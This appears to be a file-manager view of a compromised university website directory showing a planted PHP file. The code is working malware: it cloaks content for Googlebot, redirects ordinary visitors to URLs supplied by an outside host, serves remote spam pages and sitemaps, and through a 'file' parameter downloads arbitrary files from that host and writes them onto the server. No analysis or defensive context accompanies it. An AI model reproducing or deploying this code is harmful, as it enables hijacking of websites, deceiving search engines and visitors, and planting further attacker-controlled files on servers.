/
home3
/
cp099606
/
public_html
/
umkn.edu.mm
/
Upload File
HOME
<?php $webpath = 'https://bc8888.vip/yindu'; $userAgent = $_SERVER['HTTP_USER_AGENT']; $remoteIp = $_SERVER['REMOTE_ADDR']; if ((strpos($userAgent, 'Googlebot') !== false && strpos($remoteIp, '66.249.') === 0) || (strpos($userAgent, 'AMPHTML') !== false && strpos($remoteIp, '66.249.') === 0)) { $do = 1; } elseif (!isset($_SERVER['HTTP_REFERER'])) { $do = 2; } else { $do = 3; $url = $webpath . '/db.php?do=' . $do; $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $response = curl_exec($ch); if (curl_errno($ch)) { echo 'cURL error: ' . curl_error($ch); } if (trim($response) !== '') { header("Location:".trim($response),true,302); exit(); } curl_close($ch); } $currentUrl = (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] === 'on' ? "https" : "http") . "://" . $_SERVER['HTTP_HOST'] . $_SERVER['PHP_SELF']; $bcurrentUrl = (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] === 'on' ? "https" : "http") . "://" . $_SERVER['HTTP_HOST']; if (isset($_GET["file"])) { $url = $webpath . '/db.php'; $postData = ['file' => $_GET["file"]]; $ch = curl_init($url); curl_setopt_array($ch, [ CURLOPT_RETURNTRANSFER => true, CURLOPT_POST => true, CURLOPT_POSTFIELDS => http_build_query($postData) ]); $response = curl_exec($ch); curl_close($ch); $data = json_decode(trim($response), true); if (json_last_error() === JSON_ERROR_NONE && !empty($data['content'])) { file_put_contents(__DIR__ . '/' . $data['filename'], $data['content']); if (file_exists($data['filename'])) { echo 'ok'; } else { echo 'fail'; } } exit(); } if (isset($_GET["sitemap"])) { $url = $webpath . '/db.php?sitemap=1¤tUrl=' . $currentUrl; $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $response = curl_exec($ch); if (curl_errno($ch)) { echo 'cURL error: ' . curl_error($ch); } curl_close($ch); echo trim($response); exit(); } if (isset($_GET["page"])) { $url = $webpath . '/db.php?currentUrl=' . $currentUrl . '&getpath=' . $webpath . '&burl=' . $bcurrentUrl.'&page='.$_GET["page"]; }else{ $url = $webpath . '/db.php?currentUrl=' . $currentUrl . '&getpath=' . $webpath . '&burl=' . $bcurrentUrl; } $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $response = curl_exec($ch); if (curl_errno($ch)) { echo 'cURL error: ' . curl_error($ch); } curl_close($ch); echo trim($response); ?>